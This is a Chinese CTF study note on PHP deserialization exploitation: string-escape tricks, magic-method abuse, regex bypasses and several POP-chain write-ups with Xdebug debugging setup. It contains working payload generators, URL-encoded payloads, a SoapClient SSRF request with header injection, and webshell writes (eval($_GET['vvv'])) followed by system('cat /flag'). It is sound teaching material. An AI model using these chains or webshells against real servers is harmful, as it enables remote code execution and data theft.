什么是字符串逃逸

当开发者把用户输入的敏感字符进行过滤/替换,最后再进行反序列化,就有可能出现字符串逃逸,也即反序列化表示的字符串长度和实际上反序列化的长度不一样,导致字符串增多/减少。如下面两种情况。
2024-07-10T09:34:34.png

处理后字符串变短

这样会导致字符串后面的反序列化语句成为这个字符串的一部分,只要想办法让它下一个可控的字符串对象的前面被覆盖掉,然后在下一个字符串写有效的反序列化语句就行,由于从左往右反序列化,所以我们只需要

处理后字符串变长

这会导致该字符串从尾部“吐出来”字符,只需要让吐出来的字符是有效的反序列化语句即可,最后可以使用}来终止掉反序列化,来避免后面可能存在的不可控反序列化,但是一定要满足前面的object个数,可重复覆盖,但是如果不满足个数,可能会导致反序列化异常(有时候必须要这样来绕过__wakeup,根据情况来处理即可)。

例题

安恒月赛Web(有改动)

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        if($this->c == "flag.php")
        {
            echo "flag{114514}";
        }
        // echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

分析代码

write()
"\0*\0"=>"\\0\\0\\0"

read()
"\\0\\0\\0"=>"\0*\0"

值得注意的是'0'括起来的\0就是\0文本而不会转义为chr(0)。
所以如果我们输入"\0*\0\\0\\0\\0",经过read(write())后,就会变成"\0*\0\0*\0",在反序列化的时候,这个\0开始的文本就是结尾,不会再看后面的文本了。也相当于一个这个文本组合,减少了9个字符,也就属于“减少”的逃逸了。
接下来就是一个简单的pop了。
我们先生成一个

<?php
class B{
    public $b;
    public function __construct()
    {
        $this->b = new C;
    }
}

class C{
    public $c;
    public function __construct()
    {
        $this->c = 'flag.php';
    }
}

echo urlencode(serialize(new B));

得到
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

我们先按
a=O:1:"A":2:{s:8:"username";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:7:"1212121";}
b=1212121
来走一遍他自己的read write,然后拿read的结果
O:1:"A":2:{s:8:"username";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:7:"1212121";}
这个对象将会创建A类,然后账号密码分别设置,我们需要想办法让它创建B类。

我们先尝试给a添加上,然后修改一下本地的代码,让它输出
2024-07-10T10:45:56.png
发送我们准备的payload

?a=O:1:%22B%22:1:%7Bs:1:%22b%22;O:1:%22C%22:1:%7Bs:1:%22c%22;s:8:%22flag.php%22;%7D%7D%00*%00%5C0%5C0%5C0&b=111111111111111111

我专门让b足够长,大于10,这样会让它前面的长度保持在10~99,方便我们写其他的东西。
我们看一下输出
2024-07-10T10:48:48.png
我们试试

?a=\0\0\0&b=O:1:%22B%22:1:%7Bs:1:%22b%22;O:1:%22C%22:1:%7Bs:1:%22c%22;s:8:%22flag.php%22;%7D%7D

注意划线部分
2024-07-10T11:18:20.png
实际长度是3,但是却认为是6,这样就是“缩短”的绕过
我们只需要让它覆盖到如下图所示的23字符,就可以在password的字面量值中修改东西了(注意看password的文本长度是10~99还是100+,这样要调整覆盖长度,这里是两位数所以是23),但是一个\0\0\0只能制造3个空间,我们要23个,可以多制造一个,24个,覆盖掉password文本的第一个字符,但是我们这时候就需要使用24/3=8组\0\0\0来达到目的了。
2024-07-10T11:19:20.png
我们使用下面的payload(注意:需要url编码)

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};}

2024-07-10T11:25:29.png
这样我们就成功拿到了flag
2024-07-10T11:26:42.png

总结:在做字符串缩短题目的时候,如果是单个字符缩短最好,这样可以直接控制个数,如果是多个字符一次性缩短(比如说这个题,一组文本缩短3个),我们就需要适当增加缩短的个数,比如说这个题要23个,但是我们3个一组,我们就扩展到24,并且把多余的那个给占用掉,最后再把多余的给舍弃(通过}),就可以了。

eval

  1. eval("")传入的东西将会被认作php代码来执行,结尾必须有分号否则报错,如果有多行只会执行第一行
  2. eval("#".$payload);这样的payload,可以通过 ?><?php 绕过,由于第一条,所以不能用类似于nxxxxx来绕过。

__wakeup

如果 __wakeup函数中有着你不想让它触发的代码,且php版本在 PHP5 < 5.6.25 或 PHP7 < 7.0.10 就可以通过unserialize中传入的参数个数和实际的个数不匹配来绕过__wakeup函数的执行。

__destruct

这个函数会在php回收对象的时候调用,有几种情况

  1. PHP 代码执行完毕
  2. 直接new A();,对象直接会被销毁(没有变量存)。
  3. $a = new A(); $a = 114514; 覆盖掉new的类也会被销毁。
  4. unset($a); 手动删除对象
  5. 反序列化错误,比如
<?php
highlight_file(__FILE__);
class foo {
    public function __destruct()
    {
        echo "flag{114514}";
    }
}
$a = unserialize($_GET['input']);
throw new Exception('st0p');

由于有Exception,类不会被在执行完毕的时候被销毁,所以第一条直接失效了。
我们正常序列化这个类,结果是O:3:"foo":0:{}
我们稍微改造一下这个,把他弄成错误的,比如O:3:"foo":0:{
由于反序列化从左到右,所以他已经把foo类创建了,但是报错会让它被销毁,这样就利用成功。

当然,也可以使用第三条来利用:
2024-07-10T08:22:34.png

file_put_contents / file_get_contents

这个函数可以传入PHP伪协议,详情请见另一篇文章,下面给出一些快速使用例子。
b64读:php://filter/read=convert.base64-encode/resource=flag.php
b64写:php://filter/write=convert.base64-encode/resource=flag.php

  • b64写可以绕死亡之exit();

preg_match

preg_match('/^O:d+/', $s) 的绕过

这个match会防止你传入一个反序列化的对象,如下题:

<?php
class A
{
    public function __wakeup()
    {
        echo "flag{114514}";
    }
}
$s = $_get['ans'];
if(!preg_match('/^O:\d+/', $s))
{
    echo "unserializing...</br>";
    unserialize($s);
}

这时,我们如果直接传O:1:"A":0:{}这样的对象,会被直接正则匹配从而失败。
但是我们如果传a:1:{i:0;O:1:"A":0:{}}就可以绕过,a是一个array,有一个元素,其中第0个元素就是我们的这个对象,这样对于array的unserialize,里面的所有对象都会被unserialize,这样我们也达到了目的。生成方法:echo serialize(array(new A));
当然,对于低版本的php,我们直接传入O:+1:"A":0:{},(注意+要被urlencode)也可以绕过正则匹配。而array法绕过对于较高版本php可行。

严格等于(===)的绕过

地址相同的反序列化

如题

<?php
class A{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = 'aaa';
    }

    public function __destruct()
    {
        if($this->a === $this->b && $this->b === 'aaa')
        {
            echo "flag{114514}";
        }
        else {
            die('b must be aaa!!!');
        }
    }
}

if(isset($_REQUEST['input']))
{
    if(preg_match('/aaa/', $_REQUEST['input']))
    {
        die('no!!');
    }
    unserialize($_REQUEST['input']);
}
else {
    highlight_file(__FILE__);
}

分析一下代码,$b必须是aaa,但是我序列化的时候不能把他直接设置为aaa,所以:
我们采用php的引用法,把b设置为对的引用就行了。

<?php
class A{
    public $a;
    public $b;
    public function __construct()
    {
        $this->b = &$this->a;
    }
}
echo urlencode(@serialize(new A));

这样在__wakeup的时候,$a被设置为了aaa,但是b是a的引用,所以b也自动变成了aaa,就可以绕过

字符串检测绕过

hex绕过

手动更改序列化中的s(字符串)为S(需要转义的字符串),然后修改后面需要绕过的字符串即可。
值得注意的是,\必须被URLencode才能传上去。
2024-07-10T09:25:22.png

起因

由于输出调试法不灵活,而且不方便动态修改东西,所以我打算使用phpstudy_pro的方式进行本地部署php,然后本地搭建调试环境。
phpstudy 下载: https://www.xp.cn/download.html
vscode 下载: https://code.visualstudio.com/

phpstudy的配置

下载后打开,我们这里选择是Apache2.4.39+php7.3.4nts,Xdebug是phpstudy自动给你配置的
2024-07-08T16:43:33.png

为了配置XDebug,我们按照如下图配置你当前使用的php版本
2024-07-08T16:44:57.png
然后在设置界面,我们还需完善php.ini,使用编辑器打开php.ini,修改Xdebug段为下面的路径,注意绝对路径要替换成你的。

[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=On
xdebug.trace_output_dir=D:/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=On
xdebug.profiler_output_dir=D:/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.profiler
xdebug.remote_enable=On
xdebug.remote_autostart = On 
xdebug.remote_host=localhost
xdebug.remote_port=9001
xdebug.remote_handler=dbgp

然后回到主页,手动重启Apache,这样phpstudy这边的就算是配置好了。
2024-07-08T16:47:17.png

vscode 的配置

我们需要3个插件
2024-07-08T16:47:37.png
2024-07-08T16:47:53.png
2024-07-08T16:48:20.png
然后,在vscode的设置里面,转到settings.json,手动配置,加上

// PHP
"php.debug.executablePath": "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php.exe",
"open-php-html-js-in-browser.documentRootFolder": "D:/phpstudy_pro/WWW",
"php.validate.executablePath": "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php.exe",
"open-php-html-js-in-browser.selectedBrowser": "Chrome",

注意,phpstudy的路径应替换成你的路径,WWW路径是网站的根目录。

最后,使用vscode打开网站根目录
2024-07-08T16:50:03.png

打开一个php文件,在运行和调试的地方创建新的launch.json
把这个json里面的端口改成你phpstudy中配置的xdebug调试端口。
2024-07-08T16:51:25.png

最后,按下F5或者选择Listen for Xdebug即可开始监听,下断点后,浏览器访问即可断下。

POP是什么

Property Overwrite Protection 是一种通过反序列化来构造的攻击载荷。

Example 1

<?php
class test {
    private $index;

    function __construct()
    {
        $this->index = new index();
    }

    function __destruct()
    {
        $this->index->hello();
    }
}

class index{
    public function hello()
    {
        echo 'nihao';
    }
}

class execute{
    public $test;
    function hello()
    {
        eval($this->test);
    }
}

unserialize($_GET['test']);

代码分析:
先注意到了execute类的hello函数,里面调用了关键函数eval,只要$this->test可控,那么我们就可以RCE (远程代码执行)。然后注意到会把GET参数test反序列化,我们考虑反序列化漏洞,由于这三个类中,只有test类有__construct__construct魔术方法在类创建的时候执行而不会在unserialize后执行,反序列化会把文本转成类,那么我们只要对test这个类反序列化,并且初始化index后,最后在执行完毕后,php会回收掉test,这样就会调用__destruct,执行hello函数,如果这个$this->index是execute类,那么我们就成功地执行了eval,成功执行了RCE

payload 生成代码:

<?php
class test {
    private execute $index;
    function __construct()
    {
        $this->index = new execute();
    }

}

class execute{
    public $test = "system(\"calc\");";
}

echo urlencode(serialize(new test()));

利用链:
unserialize()->test::__destruct()->execute::hello()->*eval*

payload:

?test=O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00test%00index%22%3BO%3A7%3A%22execute%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A15%3A%22system%28%22calc%22%29%3B%22%3B%7D%7D

[MRCTF2020]Ezpop

题目

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

注意到include函数,可以把文本读取进来,如果是include("a.php")这样的,他会执行php然后echo出来里面输出的东西。特别的,如果php开了allow_url_include(这个默认下是关闭的),就可以执行RCE,我们可以按照GET的方法传递进去参数,如下图。(不过这个题目是没有开这个的,所以无法进行RCE
2024-07-08T12:15:07.png
我们开始分析代码:
Modifier 类中的append函数会进行include操作,这是我们需要执行的,而要执行这个,在整个代码中只有它自己的类中的__invoke()函数中执行,类中的$var就是我们要修改为flag位置的参数。
我们接着看,Modifier 方法只能由 Test类中的__get()函数进行调用,因为__invoke()函数是在当前实例化类被当作函数调用的时候执行的,而__get()函数在调用类的实例化的变量且该方法不能被访问或者不存在的时候被调用,参数$key就是这个名字(不过在这个题目中没用到),要调用__get(),我们发现在Show类中的__toString中可以进行。
如果Show中的$this->str是Test类,那么显然调用的source是不存在的,会触发__get(),而如果要调用__toString,我们发现必须要在把Show类转成文本的时候才能被调用,我们找了半天,发现只有当Show类中的$source为Show类的时候才能在__wakeup时候调用$source,导致__toString,因为__wakeup会在unserialize时候调用,而不会调用__construct,所以我们需要想办法让Show类自己包含自己,所以我们可以在__construct中加一个bool变量,如果是外面初始化,传入一个true,使得$source初始化为一个Show对象,如果是自己初始化就是传入一个false,防止递归初始化,这样就完成了我们payload的构造。

利用链:
unserialize()->Show::__wakeup()->Show::__toString()->Test::__get()->Modifier::__invoke()->Modifier::append()->include()

我们如果直接include("flag.php"),我们会发现它返回了一个Help me find flag但是没有flag,我们可以猜测flag作为变量,在执行php的时候不会输出。所以我们以php的伪协议进行读取,这样就能读取到原文内容。
php://filter/read=convert.base64-encode/resource=flag.php

<?php
class Modifier {
    protected  $var;

    public function __construct()
    {
        $this->var = 'php://filter/read=convert.base64-encode/resource=flag.php';
    }
    public function append($value){
        include($value);
    }
    public function __invoke(){ // from Test
        $this->append($this->var);
    }
}

class Show{
    public $source; // Show
    public $str; // Test
    public function __construct(bool $a){
        if($a)
        {
            $this->source = new Show(false);
        }
        $this->str = new Test();
    }
}

class Test{
    public $p; // $p = new Modifier;
    public function __construct(){
        $this->p = new Modifier();
    }
}

echo urlencode(@serialize(new Show(true)));

payload

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D
<?php
class Flag{
    private $flag= "flag{130a038b-39e2-4bf5-91e2-54f04b2cc570}";
}
echo "Help Me Find FLAG!";
?
  • 有关PHP伪协议的介绍在文章末尾。

[MRCTF2020]Ezpop_Revenge

由于buu不能开扫,我们从其他地方可以知道/www.zip泄露
/flag.php

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

/usr/plugins/HelloWorld/Plugin.php

class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
// 省略..............
public function action(){
    if(!isset($_SESSION)) session_start();
    if(isset($_REQUEST['admin'])) var_dump($_SESSION);
    if (isset($_POST['C0incid3nc3'])) {
        if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
            unserialize(base64_decode($_POST['C0incid3nc3']));
        else {
            echo "Not that easy.";
        }
    }
}

我们找HelloWorld_Plugin,在/var/Typecho/Plugin.php里面找到了路由的定义

public static function activate($pluginName)
{
    self::$_plugins['activated'][$pluginName] = self::$_tmp;
    self::$_tmp = array();
    Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}

于是我们测试一下:
2024-07-08T13:50:14.png
接下来就要想办法unserialize了
想不到办法,参考了一下别人的Writeups:
2024-07-08T14:05:50.png
这个地方初始化了Typecho_Db类,我们追踪过去
2024-07-08T14:06:46.png
Typecho_Db类中有一行提示我们使用__toString(),只要当我们的$adapterName是一个类的时候,就能触发某个类的__toString()方法,我们全局搜索后发现其中一个__toString()位于Query.php,我们发现当满足SELECT判断分支的时候,会return一个return $this->_adapter->parseSelect($this->_sqlPreBuild);,我们可以把_adapter替换掉,替换为SoapClient,这是一个php原生提供的可以用于SSRF (服务器端请求伪造)的类,之所以选择这个类,是因为这个类具有__call()的方法,这个方法允许在调用该类中不存在的函数的时候来调用这个函数。
利用链:

*HTTP 请求*
->HelloWorld_Plugin::action()
->*unserialize*
    ->HelloWorld_DB::__wakeup()
    ->HelloWorld_DB::Typecho_Db()
    ->HelloWorld_DB::__construct()
        ->Typecho_Db_Query::__toString()
            ->SoapClient::__call()
                ->*SSRF*

payload 构造php

<?php 
class HelloWorld_DB{
    private $coincidence;
    public function __construct()
    {
        $this->coincidence['hello'] = new Typecho_Db_Query();
        $this->coincidence['world'] = 'test';
    }
}

class Typecho_Db_Query{
    private $_sqlPreBuild;
    private $_adapter;
        private $_prefix;
    public function __construct()
    {
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
            'X-Forwarded-For:127.0.0.1',
            "Cookie: PHPSESSID=ns2stb0uf697tul76l3atumec0"
        );
        $this->_adapter = new SoapClient(null, array('uri' => 'test', 'location' => $target, 'user_agent' => "test\r\n" . join("\r\n", $headers)));
        $this->_sqlPreBuild['action'] = "SELECT";
    }

}
$A=new HelloWorld_DB();

echo urlencode(base64_encode(serialize($A)));
?>

payload

POST /page_admin?admin=1 HTTP/1.1
Host: 2bcd997c-f360-4ec8-b896-56395dd436c5.node5.buuoj.cn
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 708
Cookie: PHPSESSID=ns2stb0uf697tul76l3atumec0



C0incid3nc3=TzoxMzoiSGVsbG9Xb3JsZF9EQiI6MTp7czoyNjoiAEhlbGxvV29ybGRfREIAY29pbmNpZGVuY2UiO2E6Mjp7czo1OiJoZWxsbyI7TzoxNjoiVHlwZWNob19EYl9RdWVyeSI6Mzp7czozMDoiAFR5cGVjaG9fRGJfUXVlcnkAX3NxbFByZUJ1aWxkIjthOjE6e3M6NjoiYWN0aW9uIjtzOjY6IlNFTEVDVCI7fXM6MjY6IgBUeXBlY2hvX0RiX1F1ZXJ5AF9hZGFwdGVyIjtPOjEwOiJTb2FwQ2xpZW50Ijo1OntzOjM6InVyaSI7czo0OiJ0ZXN0IjtzOjg6ImxvY2F0aW9uIjtzOjI1OiJodHRwOi8vMTI3LjAuMC4xL2ZsYWcucGhwIjtzOjE1OiJfc3RyZWFtX2NvbnRleHQiO2k6MDtzOjExOiJfdXNlcl9hZ2VudCI7czo3NzoidGVzdA0KWC1Gb3J3YXJkZWQtRm9yOjEyNy4wLjAuMQ0KQ29va2llOiBQSFBTRVNTSUQ9bnMyc3RiMHVmNjk3dHVsNzZsM2F0dW1lYzAiO3M6MTM6Il9zb2FwX3ZlcnNpb24iO2k6MTt9czoyNToiAFR5cGVjaG9fRGJfUXVlcnkAX3ByZWZpeCI7Tjt9czo1OiJ3b3JsZCI7czo0OiJ0ZXN0Ijt9fQ%3D%3D

然后可以在Response最后观察到

</body>array(1) {
  ["flag"]=>
  string(42) "flag{0492d042-1156-4f9d-bf52-22719b3fc3b3}"
}

[EIS 2019]EzPOP

题目

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}


if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

代码审计:最下面有unserialize(),参数可控,由于只有A类有魔术方法,我们只能选择反序列化A类,反序列化时__construct不会被调用,但是在php执行完毕进行对象回收的时候,会调用__destruct,显然我们需要控制$autosave,让__destruct执行$this->save(),我们来到save函数,注意到contents来源于getForStorage,而这个函数里面可控$this->cache$this->complete,我们继续看,他会调用$this->store->set,注意到set函数只有B类中有,所以$store必须初始化为B类。注:cleanContents我们先不看。
我们接着看B类,调用的set函数的三个参数都是可控的,只不过第二个参数的样式不可控,因为经过了json_encode,导致它是一个类似于[1,"2"]这样的文本,我们接着看下面,$expire无法在文件中写入关键代码,因为它被强制转为了int,而且在写入的文本中,那一行还是注释,而且接下来一行马上就是exit();我们可以想到php绕过死亡exit的方法,因为他是通过file_put_contents来写入的,而$filename只要可控,那么就可以填入php伪协议,导致可以通过filter把写入的东西走一次base64_decode,这样以来,我们只要在$data后面附加上base64编码过的恶意代码,而前面的由于不是base64编码后的文本,php解码后将会是乱码,这样,前面就当成了静态页面,不会被执行,而我们后面的代码只要加上<?php ?>就可以当作代码进行执行。
我们接着看,我们显然不需要压缩,所以到时候把$options['data_compress']设置为false即可。
ok,我们现在唯一的目的就是让$filename可控,我们注意到getCacheKey函数,显然$name可控,只需要$options['prefix']为空文本即不影响$name,导致$filename完全可控。
最后,我们需要让$data可控,注意到$data走了一次$this->serialize(),我们进去看,注意到只需要$this->options['serialize']是一个不影响参数的函数即可,注意这个地方不能是闭包,因为序列化只能序列化对象而不能是函数,所以我们可以填入文本,这样他就可以“调用”文本来调用我们的函数,我们只需要让$this->options['serialize'] = 'urldecode',当然这是由于urldecode不会修改我的data,如果你需要更严谨,可以试试strval,最后我们就可以写出PoC来获取payload

<?php


class B {
    public function __construct() {
        $this->options['serialize'] = 'urldecode';
        $this->options['data_compress'] = false;
        $this->options['prefix'] = "";
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }
}


class A {
    private $autosave;

    protected $store;

    protected $key;

    protected $expire;

    public function __construct() {
        $this->autosave = true;
        $this->store = new B;
        $this->expire = 1145;
        $this->key = "php://filter/write=convert.base64-decode/resource=eval.php";
        $this->cache = [1,2,3];
        $this->complete =base64_encode(urldecode("%3C?php%20eval(\$_GET%5B'vvv'%5D);%20?%3E"));
    }
}

echo urlencode(@serialize(new A));

值得注意的是,B类中的$options请不要手动定义private $options这样的,请和题目给的类中定义一样即可,要不然会出问题,无法读取。
我们最后得到payload
?data=O%3A1%3A%22A%22%3A6%3A%7Bs%3A11%3A%22%00A%00autosave%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A9%3A%22urldecode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A58%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Deval.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A1145%3Bs%3A5%3A%22cache%22%3Ba%3A3%3A%7Bi%3A0%3Bi%3A1%3Bi%3A1%3Bi%3A2%3Bi%3A2%3Bi%3A3%3B%7Ds%3A8%3A%22complete%22%3Bs%3A40%3A%22PD9waHAgZXZhbCgkX0dFVFsndnZ2J10pOyA%2FPg%3D%3D%22%3B%7D
这个payload会在当前目录写下eval.php,我们接着发送?vvv=system("cat /flag");即可拿到flag。
利用链:
unserialize()->A::__destruct()->A::save()->B::set()->**file_put__contents**

[2022DASCTF X SU 三月春季挑战赛]ezpop

题目

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }
}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

注:eval('#' . $xxx);绕过方式介绍:当$xxx为?><?php echo 1;时即可绕过

<?php

class what
{
    public $a;
    public function __construct($stage)
    {
        if($stage == 2)
        {
            $this->a = new mix(3);
        }
    }
}

class mix
{
    public $m1;
    public function __construct($stage)
    {
        if($stage == 3)
        {
            $this->m1 = new crow(4);
        }
        else if($stage == 6)
        {
            $this->m1 = '?><?php; eval($_GET["vvv"]);';
        }
    }
}

class crow
{
    public $v1;
    public $v2;
    public function __construct($stage)
    {
        if($stage == 4)
        {
            $this->v1 = new fin(5);
        }
    }
}

class fin
{
    public $f1;
    public function __construct($stage)
    {
        if($stage == 1)
        {
            $this->f1 = new what(2);
        }
        else if($stage == 5)
        {
            $this->f1 = new mix(6);
        }
    }
}


echo urlencode(@serialize(new fin(1)));

unserialize()->fin::__destruct()->what::__toString()->mix::run()->crow::__invoke()->fin::__call()->mix::get_flag()->**eval**

payload

POST / HTTP/1.1
Host: e8d66867-352a-4db9-b9ea-a2018672953e.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded

cmd=O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"mix":1:{s:2:"m1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:29:"?><?php; eval($_POST["vvv"]);";}}s:2:"v2";N;}}}}&vvv=system("cat *");

最后记录一下php的伪协议

PHP 伪协议

在 PHP 中,"伪协议"是一种特殊的语法,用于访问不同的资源或执行特定的操作。这些伪协议以 php:// 开头,后面跟着特定的指示符或参数,以实现不同的功能。这些伪协议提供了一种方便的方式来处理各种输入输出操作,而不必依赖于实际的文件或网络资源。
简单的理解就是,在URL中使用特殊的协议前缀来指示PHP执行特定的代码

php.ini参数设置

在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。

  • allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
  • allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

应用:

  1. 文件包含
include()、require()、include_once()、require_once()、highlight_file()
show_source() 、readfile() 、file_get_contents() 、fopen() 、file()

data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

allow_url_fopen和allow_url_include都需要开启。

example:

1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
 
2、data://text/plain;base64,
